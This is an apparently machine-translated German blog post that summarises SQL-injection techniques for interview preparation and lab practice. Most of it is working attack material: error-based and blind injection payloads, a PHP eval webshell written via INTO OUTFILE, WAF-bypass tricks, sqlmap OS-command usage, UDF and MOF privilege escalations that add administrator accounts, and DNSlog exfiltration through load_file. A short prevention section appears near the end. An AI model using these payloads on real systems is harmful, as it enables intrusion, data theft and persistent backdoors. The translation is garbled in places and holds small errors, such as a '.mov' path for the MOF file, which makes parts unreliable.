Zusammenfassung der Probleme im Zusammenhang mit der SQL-Injection

Dieser Artikel ist eine Zusammenfassung von SQL-bezogenen Problemen. Die Leser werden gebeten, sich vor dem Lesen dieses Blogs mit SQL-Injection-bezogenen Inhalten vertraut zu machen. Sie erhalten ein tieferes Verständnis, das zur Überprüfung von Web-Sicherheitsprinzipien und sicherheitsbezogenen Vorstellungsgesprächen verwendet werden kann. Es wird empfohlen, dass der Leser zuerst zum Schießstand geht, damit er das Prinzip und die Ausnutzung von Schwachstellen wie Pikachu, DVWA, SQLlib usw. schnell verstehen kann.

Inhaltsverzeichnis

1. Was ist SQL-Injection?

Bedeutung

Prinzip

Schaden 

2. Klassifizierung der SQL-Injection 

3. Fehlerbasierte Injektion 

Definition

Zustand

Allgemeine Funktionen zur Fehlerberichterstattung

4. Stapelinjektion

5. Blindnote 

Definition

Einstufung

6. Was soll ich tun, wenn die Schlüsselwörter Schlaf und Benchmark während der zeitblinden Injektion herausgefiltert werden?

7. Wide-Byte-Injektion

Prinzip 

Lösung 

8. Allgemeine Systemfunktionen

9. SQL-Injection-Punkt im http-Header

10. So erkennen Sie SQL-Injection-Schwachstellen

11. Voraussetzungen und Befehle für MySQL zum Schreiben in die Shell

Prämisse

Verwandte Befehle 

12. So umgehen Sie WAF durch SQL-Injection

13. Methode zum Ersetzen von Leerzeichen

14. So verwenden Sie nicht ausgewählte Abfrageanweisungen (Einfügen/Aktualisieren und andere Injektionsmethoden)

15. Wie kann ich beim Ermitteln des Injektionspunkts an die Webshell gelangen?

16. Vorbeugende Maßnahmen für SQL-Injection

17. Was sind die Unterschiede zwischen den Versionen über 5.0 und niedriger für die Injektion von MYSQL-Websites?

18. Welche Verschlüsselungsmethode wird für das MYSQL-Passwort verwendet?

19.Gemeinsame Parameter von SQLMap

20. Allgemeine Abfrageanweisungen von SQLmap

21. Gemeinsame Datenbankports

22. MySQL hat zwei Möglichkeiten, Berechtigungen zu erweitern

Eskalation der UDF-Berechtigungen

Eskalation der MOF-Berechtigungen 

23.DNS-Blindinjektion im Zusammenhang

Prinzip von DNSlog

DNSlog-Tool

Der Fall der Verwendung der DNSlog-Injection 

Bedingungen für die Verwendung der DNSlog-Blindinjektion

So funktioniert DNSlog Blind Injection

Epilog 


1. Was ist SQL-Injection?

Bedeutung

Da der Programmierer die Rechtmäßigkeit der vom Benutzer eingegebenen Daten nicht beurteilt und verarbeitet, kann der Client böswillige Eingaben an den Server übermitteln, was dazu führt, dass der Server fehlerhafte SQL-Anweisungen generiert und dadurch die Website-Datenbank illegal liest, anstatt der Absicht des Designers zu folgen . SQL-Anweisungen ausführen.

Prinzip

 Das Backend der Website filtert die vom Frontend eingehenden Daten nicht richtig, was es dem Angreifer ermöglicht, fehlerhafte Eingaben zu erstellen, wodurch die Semantik der ursprünglichen Abfrageanweisung geändert wird und schließlich illegale Anweisungen ausgeführt, illegale Parameter übergeben, zusätzliche Bedingungen hinzugefügt werden usw .

Schaden 

Es gibt hauptsächlich folgende Punkte:

Umgehen der Anmeldeüberprüfung : Angreifer können ein Master-Passwort verwenden, um sich direkt im Hintergrund der Website anzumelden.

Verlust vertraulicher Informationen : Angreifer können die Datenbank einsehen und vertrauliche Informationen wie Passwörter für Administratorkonten erhalten.

Auf der Website implantiertes Trojanisches Pferd : Der Server kann auf eine Webshell hochgeladen werden, um Befehle aus der Ferne auszuführen und eine Hintertür zu erstellen.

Die Datenbank wurde manipuliert : Der Angreifer kann ein Administratorkonto hinzufügen und Daten hinzufügen oder löschen.

2. Klassifizierung der SQL-Injection 

Klassifizierung anhand der Injektionsparameter : digitale Injektion, Zeicheninjektion, Suchinjektion.

Klassifizierung nach Injektionsmethoden : fehlerbasierte, boolesche Blindinjektion, zeitbasierte Blindinjektion, gemeinsame Abfrage, Stapelinjektion, Inline-Abfrageinjektion, Wide-Byte-Injektion usw.

Klassifizierung anhand der Position des Injektionspunkts : GET-Injektion, POST-Injektion, Cookie-Injektion, http-Header-Injektion usw.

Aus der Datenbank klassifiziert : MySQL-Injektion, MSSQL-Injektion, Oracle-Injektion usw.

3. Fehlerbasierte Injektion 

Definition

Der Angreifer erstellt eine Nutzlast mit falscher SQL-Syntax. Nach der Injektion ist die Anweisung zwar falsch, die böswillige Abfrageanweisung in der Nutzlast wurde jedoch von der Datenbank ausgeführt , und die Informationen werden nach der endgültigen Ausführung durch einen Fehler an das Front-End zurückgegeben Aufforderung .

Zustand

1. Der Hintergrund blockiert nicht die Fehlermeldung der Datenbank.

2. Lassen Sie den Syntaxfehler im Frontend widerhallen.

Allgemeine Funktionen zur Fehlerberichterstattung

updatexml(XML_document, XPath_string, new_value)

Der erste Parameter XML_document liegt im String-Format vor und ist der Name des XML-Dokumentobjekts

Der zweite Parameter XPath_string ist ein String im XPath-Format

Der dritte Parameter new_value im String-Format ersetzt die gefundenen qualifizierten Daten

Beispiel: id=1 und (select updatexml(0x3a,concat(1,(select user())),1))

Ausführungsergebnis: [Err] 1105 – XPATH-Syntaxfehler: „root@localhost“

extractvalue(XML_document, XPath_string)

Der erste Parameter XML_document liegt im String-Format vor und ist der Name des XML-Dokumentobjekts

Der zweite Parameter XPath_string ist ein String im XPath-Format

Beispiel: id=1 und (select extractvalue(0x3a, concat(0x5c,(select user()))))

Ausführungsergebnis: [Err] 1105 – XPATH-Syntaxfehler: „\root@localhost“

Die Funktion floor() ist eine Funktion zum Runden in MYSQL.

Der Fehler wird gemeldet, weil die Funktion rand() einmal beim Abfragen und einmal beim Einfügen ausgeführt wird.

Durch die Gruppe nach ) Führen Sie es erneut aus.

Beispiel: id=1 und (select 1 from (select count(*),concat((select user()),

floor(rand(0)*2))x aus information_schema.tables Gruppe nach x)a)
Laufergebnis: [Err] 1062 – Doppelter Eintrag „root@localhost1“ für Schlüssel „group_key“

exp() gibt die Potenz des natürlichen Logarithmus zurück

Wenn der darin enthaltene Parameter größer als 709 ist, tritt ein Überlauffehler auf

Beispiel: id=1 und (select exp(~(select * from(select user())a)))

Laufergebnis: [Err] 1690 – DOUBLE-Wert liegt außerhalb des gültigen Bereichs in „exp(~((select „root@localhost“

von dual)))'

4. Stapelinjektion

Definition : In der SQL-Anweisung endet die Anweisung mit einem Semikolon. Wenn nach dem Semikolon eine SQL-Anweisung hinzugefügt wird, werden die beiden Anweisungen zusammen ausgeführt, was zu einer Stapelinjektion führen kann.

5. Blindnote 

Definition

Während des SQL-Injection-Angriffs schaltet der Server das Fehlerecho aus und der Angreifer beurteilt einfach anhand der Änderung des vom Server zurückgegebenen Inhalts, ob die Injektion erfolgreich ist. Die Injektion erfolgt in der Regel mit Werkzeugen (manuelle Injektion ist zeitaufwändig und mühsam).

Einstufung

Boolesche Blindinjektion : Ob der zurückgegebene Inhalt der Seite korrekt ist.

Zeitbasierte Blindinjektion : Die von der Seite zurückgegebene Zeit, normalerweise unter Verwendung der Verzögerungsfunktion Sleep (Sekunden) oder Benchmark (Ausführungszeiten, Ausdruck), um die Echozeit zu verlängern, wenn die Injektion erfolgreich ist.

Beispiel: if(ascii(substring((select user from admin limit 0, 1),1,1))=64,sleep(3),null)

Wenn der ASCII-Codewert der ersten Ziffer des Abfrageergebnisses 64 ist, schlafen Sie (3), andernfalls wird nichts unternommen.

6. Was soll ich tun, wenn die Schlüsselwörter Schlaf und Benchmark während der zeitblinden Injektion herausgefiltert werden?

(1) Lassen Sie zwei sehr große Datentabellen ein kartesisches Produkt erstellen, um viele Berechnungen zu generieren, was zu einer Zeitverzögerung führt

(2) Wenn der Server eine lange Verbindung verwendet, können Sie den Sperrmechanismus von MySQL verwenden, nämlich Get_lock()

(3) Verwenden Sie komplexe reguläre Ausdrücke, um eine ultralange Zeichenfolge abzugleichen und eine Zeitverzögerung zu erzeugen

7. Wide-Byte-Injektion

Prinzip 

Der breite Zeichensatz wird in der Datenbank verwendet, dieses Problem wird jedoch im WEB nicht berücksichtigt .

Da 0XBF27 in der WEB-Ebene aus zwei Zeichen besteht, werden bei Aktivierung von addslash und magic_quotes_gpc in PHP die einfachen Anführungszeichen von 0x27 maskiert, sodass 0xbf27 zu 0xbf5c27 wird. Wenn die Daten in die Datenbank eingegeben werden, handelt es sich aufgrund von 0bf5c um ein zusätzliches Zeichen Zeichen, sodass das Escape-Symbol \ vom vorherigen bf „gefressen“ wird und das daraus maskierte einfache Anführungszeichen zum Schließen der Anweisung verwendet werden kann

Grundursache: Character_set_client (der Zeichensatz des Clients) und Character_set_connection (der Zeichensatz der Verbindungsschicht) sind unterschiedlich oder Konvertierungsfunktionen wie iconv und mb_convert_encoding werden falsch verwendet. 

Lösung 

Vereinheitlichen Sie die von Datenbanken, Webanwendungen und Betriebssystemen verwendeten Zeichensätze, um Unterschiede beim Parsen zu vermeiden. Am besten stellen Sie sie auf UTF-8 ein. Oder verwenden Sie mysql_real_escape_string+mysql_set_charset, um die Daten korrekt zu maskieren.

8. Allgemeine Systemfunktionen

version(): MYSQL-Version

user(): Datenbankbenutzername

Datenbank(): Datenbankname

@@datadir: Datenbankpfad

@@version_compile_os: Betriebssystemversion

@@basedir: Datenbankinstallationspfad

9. SQL-Injection-Punkt im http-Header

User-Agent

Referrer

Plätzchen

IP

10. So erkennen Sie SQL-Injection-Schwachstellen

Manuell : Testen Sie eine bestimmte URL manuell und beurteilen Sie, indem Sie Sonderzeichen (‘’’)’’) usw. einfügen.

Automatisch : Werkzeuge zur Injektion verwenden

11. Voraussetzungen und Befehle für MySQL zum Schreiben in die Shell

Prämisse

Voraussetzung: Der aktuelle Datenbankbenutzer (current_user) hat die Berechtigung zum Schreiben von Dateien oder Root-Rechte und kennt den absoluten Pfad der Website.

Verwandte Befehle 

        in oufile schreibt mehrere Zeilen, geeignet für Textdateien

        in dumpfile schreibt eine Zeile, geeignet für Binärdateien

Beispiel:

id=1 union select '<?php @eval($_POST[\'c\']);?>', user from admin into outfile 'd:\\demo\\m.php'

id=1 union select '<?php @eval($_POST[\'c\']);?>', user from admin into dumpfile 'd:\\demo\\m.php'

12. So umgehen Sie WAF durch SQL-Injection

(1) Suchen Sie den WAF-Fingerabdruck und suchen Sie nach der entsprechenden WAF-Bypass-Methode

(2) White-Box-Bypass: Code-Audit.

(3) Black-Box-Bypass

Black-Box-Bypass: wie folgt

Architekturebene : Suchen Sie die Quellwebsite, um die WAF-Erkennung zu umgehen, dh finden Sie die tatsächliche Adresse der Quellwebsite. Oder umgehen Sie den WAF-Schutz über dasselbe Netzwerksegment. Im selben Netzwerksegment werden die Daten, die möglicherweise durchgelassen werden, nicht durch die Cloud-WAF geleitet, um eine Umgehung zu erreichen.

Ressourcenbeschränkungsstufe : Die Erstellung eines sehr großen Datenpakets wird möglicherweise nicht erkannt, wodurch WAF umgangen wird. Beispielsweise führen einige Websites eine WAF-Erkennung bei Get-Daten durch. Die Get-Daten sind klein und Post-Daten werden von WAF nicht erkannt. WAF umgehen.

Protokollebene : In einigen Unternehmen wird möglicherweise nur der Get-Typ erkannt und die Post-Daten werden möglicherweise ignoriert. Oder manchmal liegt eine Parameterverunreinigung vor. Für index?id=1&id=2 in der URL wird möglicherweise nur id=1 erkannt.

Regelebene : SQL-Kommentarumgehung/Leerzeichenumgehung/Funktionstrennzeichenumgehung/Gleitkommazahlumgehung/Verwendung von Fehlerinjektion/Fallumgehung/Doppelschreibumgehung

13. Methode zum Ersetzen von Leerzeichen

%0a , %0b , %a0 usw.

/**/ und andere Kommentare

<>

14. So verwenden Sie nicht ausgewählte Abfrageanweisungen (Einfügen/Aktualisieren und andere Injektionsmethoden)

Tatsächlich gibt es keinen wesentlichen Unterschied: Die Struktur ist weiterhin geschlossen und es können gemeinsame Abfrage- und fehlerbasierte Methoden verwendet werden. , hier ein paar Beispiele.

Die ursprüngliche normale SQL-Anweisung (die ursprüngliche Anweisung im Backend)

update user set password='MD5($password)', homepage='$homepage' where id='$id';

Wir können die Injektion auf die folgenden drei Arten implementieren:

Methode 1: Ändern Sie den Homepage-Wert in http://baidu.net', userlevel='3 , dann wird die SQL-Anweisung zu:

update user set password='mypass', homepage='http://baidu.net', userlevel='3' where id='$id';

Methode 2: Ändern Sie den Passwortwert in „mypass“)' WHERE username='admin'# Die SQL-Anweisung wird zu:

update user set password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' where id='$id';

Methode 3: Ändern Sie den ID-Wert in „OR username=“admin , dann wird die SQL-Anweisung zu:

update user set password='MD5($password)', homepage='$homepage' where id='' OR username='admin';

15. Wie kann ich beim Ermitteln des Injektionspunkts an die Webshell gelangen?

(1) Wenn Sie über Schreibberechtigungen verfügen, verwenden Sie into outfile, um eine gemeinsame Abfrageanweisung zu erstellen. Sie können die Ausgabe der Abfrage in eine Datei im System umleiten, damit Sie sie in die Webshell schreiben können

(2) Das Prinzip der Verwendung von sqlmap –os-shell ist das gleiche wie oben, um direkt eine Shell zu erhalten, was effizienter ist

(3) Erhalten Sie das Konto und das Kennwort des Website-Administrators, indem Sie eine gemeinsame Abfrageanweisung erstellen, scannen Sie dann den Hintergrund, um sich im Hintergrund anzumelden, und laden Sie dann die Shell im Hintergrund hoch, indem Sie den Paket-Upload und andere Methoden ändern

16. Vorbeugende Maßnahmen für SQL-Injection

(1) Unterscheiden Sie strikt zwischen normalen Benutzern und Administratoren : Übernehmen Sie das Prinzip der geringsten Rechte und verwenden Sie Konten mit niedrigen Rechten für Webanwendungen. Verwenden Sie ein Konto mit hohen Rechten, sogar das Root-Konto. Für Endbenutzer, also normale Benutzer der Software, ist es nicht erforderlich, ihnen die Berechtigung zum Erstellen und Löschen von Datenbankobjekten (Tabelle erstellen/Tabelle löschen usw.) zu erteilen.

(2) Benutzereingaben streng filtern : Testen Sie den vom Benutzer eingegebenen Inhalt, akzeptieren Sie nur den erforderlichen Wert, lehnen Sie den Eingabeinhalt mit Binärdaten, Escape-Sequenzen und Kommentarzeichen ab und überprüfen Sie den Inhalt mit SQL-Schlüsselwörtern wie Union und Select streng. Testen Sie die Größe und den Datentyp der Benutzereingaben und setzen Sie entsprechende Grenzwerte und Konvertierungen durch. Verwenden Sie die von Websprachen und Datenbankanbietern bereitgestellten „sicheren Funktionen“, um Benutzereingaben zu verarbeiten.

(3) Verwendung vorkompilierter Anweisungen : Die Verwendung vorkompilierter Anweisungen und Bindungsvariablen ist die beste Möglichkeit, SQL-Injection zu verhindern. Stellen Sie sicher, dass sich die Semantik nicht ändert und verhindern Sie, dass Daten zu Anweisungen werden (parametrisierte Abfragen).

(4) Filtern und Abgleichen basierend auf Angriffsmerkmalen : Erfassen Sie die Angriffsmerkmale der SQL-Injection als Datenbank. Sobald diese Merkmale übereinstimmen, wird festgestellt, dass eine SQL-Injection erkannt wurde. Schutz auf Netzwerkebene, Bereitstellung von WAF usw.

17. Was sind die Unterschiede zwischen den Versionen über 5.0 und niedriger für die Injektion von MYSQL-Websites?

Unterschied: Die Systemtabelle „information_schema“ existiert ab Version 5.0 und der Tabellenname, Spaltenname usw. kann anhand dieser Tabelle nachgeschlagen werden. 5.0 und höher sind Mehrbenutzeroperationen. Unter 5.0 gibt es kein Informationsschema, und nur der Tabellenname kann gewaltsam ausgeführt werden. 5.0 und niedriger sind Einzelbenutzeroperationen.

Wie überprüfe ich Datenbank/Tabelle/Spalte/Feld gemäß information_schema? 

Bibliothek prüfen:

select schema_name from information_schema.schema;

Prüftabelle:

select table_name from information_schema.tables where table_schema='security';

Charlie:

select column_name from information_schema.columns where table_name='users';show tables;

Prüffelder:

select id,username,password from security.users;

18. Welche Verschlüsselungsmethode wird für das MYSQL-Passwort verwendet?

Antwort: SHA1 Secure Hash-Algorithmus

19.Gemeinsame Parameter von SQLMap

-d stellt eine direkte Verbindung zur Zieldatenbank her (verwendet keine SQL-Injection)

-p gibt den Injektionspunkt an

-u angegebene URL

-m gibt TXT-Datei, Batch-Scan an

-r POST-Paketinjektion

-x Sitemap, senden Sie eine XML-Datei an SQL.

-c Schreiben Sie die verwendeten Befehle in eine Datei, lassen Sie sqlmap die Befehle in der Datei ausführen, wir können den Befehl --save verwenden, um die Konfiguration in die Datei zu schreiben.

--sql-shell SQL-Befehle ausführen

--OS-cmd Systembefehle ausführen

--OS-shell                  Interagiert mit der System-Shell

-r lädt das Paket für externe Anfragen

--data=DATA Datenstring per POST senden

--proxy=PROXY verwendet einen HTTP-Proxy, um eine Verknüpfung zur Ziel-URL herzustellen

--tamper=TAMPER manipuliert injizierte Daten mit dem angegebenen Skript

--current-user erhält den aktuellen Benutzernamen

--current-db ruft den aktuellen Datenbanknamen ab

--cookie setzt den Cookie-Wert

--dbs listet alle Datenbanken auf

--tables listet die Tabellen in der Datenbank auf

–level=LEVEL Führt die Stufe des Tests aus (1-5, der Standardwert ist 1). Wenn der Parameter –level verwendet wird und der Wert >=2 ist, werden auch die Parameter im Cookie überprüft. Bei >=3, Der User-Agent und Referrer werden überprüft.

-risk=RISK Das Risiko der Testausführung (0-3, der Standardwert ist 1), der Standardwert 1 testet die meisten Testanweisungen, 2 erhöht die Testanweisung basierend auf dem Ereignis und 3 erhöht die SQL-Injection Test der OR-Anweisung.

-v VERBOSE Informationsebene: 0-6 (Standard 1), die spezifische Bedeutung seines Werts: „0“ zeigt nur Python-Fehler und schwerwiegende Informationen an; 1 zeigt gleichzeitig grundlegende Informationen und Warninformationen an (Standard); „2“ zeigt gleichzeitig Debug-Informationen an; „3“ zeigt auch die injizierte Nutzlast; „4“ zeigt gleichzeitig die HTTP-Anfrage; „5“ zeigt gleichzeitig den HTTP-Antwortheader; „6“ zeigt die HTTP-Antwortseite gleichzeitig; wenn Sie die beste Ebene der von sqlmap gesendeten Testnutzlast sehen möchten, ist das 3.

20. Allgemeine Abfrageanweisungen von SQLmap

Single-Link-Injection sqlmap.py -u URL

Batch-Injektion sqlmap.py -m oldboy.txt

Post-Injection sqlmap.py -r burpsuite capture.txt

Geben Sie Parameter an, um sqlmap.py -r post.txt -p Parameter einzufügen

Formularinjektion angeben sqlmap.py -u URL –data „username=a&password=a“

Cookie-Injektion sqlmap.py -u url --cookie "id=xx" --level 3 --tables (Tabellennamen erraten)

Führen Sie den Net-User-Befehl sqlmap.py -u "url" --os-cmd="net user" aus.

21. Gemeinsame Datenbankports

Relational

MySQL 3306

Orakel 1521

SQL Server 1433

DB2 5000

PostgreSQL 5432

 nicht relational

Redis 6379

Gespeichert 11211

MongoDB 27017

22. MySQL hat zwei Möglichkeiten, Berechtigungen zu erweitern

Ich verstehe diese Frage nicht ganz, ich habe sie online gesucht und hier gepostet, und ich werde sie umschreiben, wenn ich sie später herausgefunden habe.

Eskalation der UDF-Berechtigungen

Erfordern:

1. Das Zielsystem ist Windows (Win2000, XP, Win2003);

2. Besitzen Sie ein MYSQL-Benutzerkonto. Dieses Konto muss über Einfüge- und Löschberechtigungen für MySQL verfügen, um Funktionen erstellen und verwerfen zu können

3. Haben Sie ein Root-Konto-Passwort.

Methode

UDF exportieren:

Für Versionen über MYSQL 5.1 müssen Sie die Datei udf.dll im Ordner lib\plugin im MYSQL-Installationsverzeichnis ablegen, um benutzerdefinierte Funktionen zu erstellen.

Kann in MySQL eingegeben werden

Wählen Sie @@basedir

Zeigen Sie Variablen wie „%plugins%“ an, um den MySQL-Installationspfad zu finden

Eskalation der Rechte:

Erstellen Sie funktionale Funktionen mithilfe von SQL-Anweisungen.

Syntax: Funktion erstellen Funktionsname (der Funktionsname kann nur einer der folgenden Listen sein) gibt die Zeichenfolge soname „exportierter DLL-Pfad“ zurück;

Die Funktion cmdshell erstellen gibt die Zeichenfolge soname „udf.dll“ zurück.

select cmdshell('net user arsch arsch /add');

select cmdshell('net localgroup Administrators arsch /add');

Drop-Funktion cmdshell;

Dieses Verzeichnis ist standardmäßig nicht vorhanden. Sie müssen daher Webshell verwenden, um das MySQL-Installationsverzeichnis zu finden, einen Ordner lib\plugin unter dem Installationsverzeichnis erstellen und dann die Datei udf.dll in dieses Verzeichnis exportieren.

Eskalation der MOF-Berechtigungen 

Schritt 1: Drehbuchvorbereitung

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

Schritt 2:

Führen Sie „load_file“ und „in dumpfile“ aus, um die Datei an den richtigen Speicherort zu exportieren.

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov';

Nachdem die Ausführung erfolgreich war, können Sie einen normalen Benutzer hinzufügen, dann den Befehl ändern und dann die Ausführung hochladen und exportieren, um den Benutzer auf Administratorrechte zu aktualisieren, und dann ist die 3389-Verbindung in Ordnung.

23.DNS-Blindinjektion im Zusammenhang

Prinzip von DNSlog

Fügen Sie den Inhalt über eine Unterabfrage in den Domänennamen ein und lassen Sie load_file () auf die gemeinsam genutzte Datei zugreifen. Der aufgerufene Domänenname wird aufgezeichnet und zu diesem Zeitpunkt zu einer Fehlerinjektion, und die Blindinjektion wird in eine Fehlerinjektion und die Remote-Injektion geändert Die freigegebene Datei wird gelesen. Die Funktion führt eine Abfrage durch, verbindet sie mit dem Domänennamen, greift beim Zugriff auf den Server zu und zeigt das Protokoll nach der Aufzeichnung an.

DNSlog-Tool

  1. Wenn Sie über einen eigenen Server und Domänennamen verfügen und Ihre eigene DNSlog-Plattform erstellen, gibt es Open-Source-Plattformen auf Github
  2. Online-Plattform: http://ceye.io   DNSLog-Plattform

Der Fall der Verwendung der DNSlog-Injection 

Die Zielinformationen können nicht zurückgegeben werden. Wenn Sie die Anfrage senden können, können Sie es versuchen und DNSlog verwenden, um das Echo abzurufen

Beispiel: Ich habe eine Site mit SQL-Blind-Injection gefunden, aber die Ausführung mit sqlmap erforderte häufige Anfragen, was schließlich dazu führte, dass die IP gesperrt wurde

Wenn eine vermutete Befehlsinjektionslücke gefunden wird, auf der Zielseite jedoch nichts angezeigt wird, können Sie eine DNSlog-Blindinjektion versuchen, wenn Sie nicht bestätigen können, ob eine Lücke vorhanden ist. Die folgenden allgemeinen Dinge können mit der DNSlog-Injektion versucht werden:

(1) Blindinjektion in SQL-Injection

(2) XSS-Blindeingabe

(3) Befehlsausführung ohne Echo

(4) SSRF ohne Echo

(5) XXE ohne Echo (Blind XXE)

Bedingungen für die Verwendung der DNSlog-Blindinjektion

secure_file_priv in mysql.ini ist leer.

secure_file_priv ist null, Import und Export sind nicht zulässig

secure_file_priv ist /tmp, Import und Export können nur im tmp-Verzeichnis erfolgen

Wenn secure_file_priv leer ist, sind Import und Export nicht eingeschränkt.

So funktioniert DNSlog Blind Injection

Fragen Sie die aktuelle Datenbank ab:

?id=1'and load_file(concat('\\\\',(select Database()),'.域名'))--+

Dementsprechend kann durch Ersetzen der Anweisung select Database () die Echoinjektion des externen DNS-Bands realisiert werden

?id=1'and (select Load_file(concat('\\\\',(select Datenbank()),'.域名')))#

Epilog 

Damit sind die Fragen zu SQL-Injection-Schwachstellen abgeschlossen. Die Antworten auf viele Fragen in diesem Artikel stammen ebenfalls aus dem Internet. Ich habe eine Zusammenfassung erstellt. Die Zeit drängt. Wenn Sie Fragen haben, können die Leser diese gerne im Kommentarbereich diskutieren.

Guess you like

Origin blog.csdn.net/Bossfrank/article/details/130297924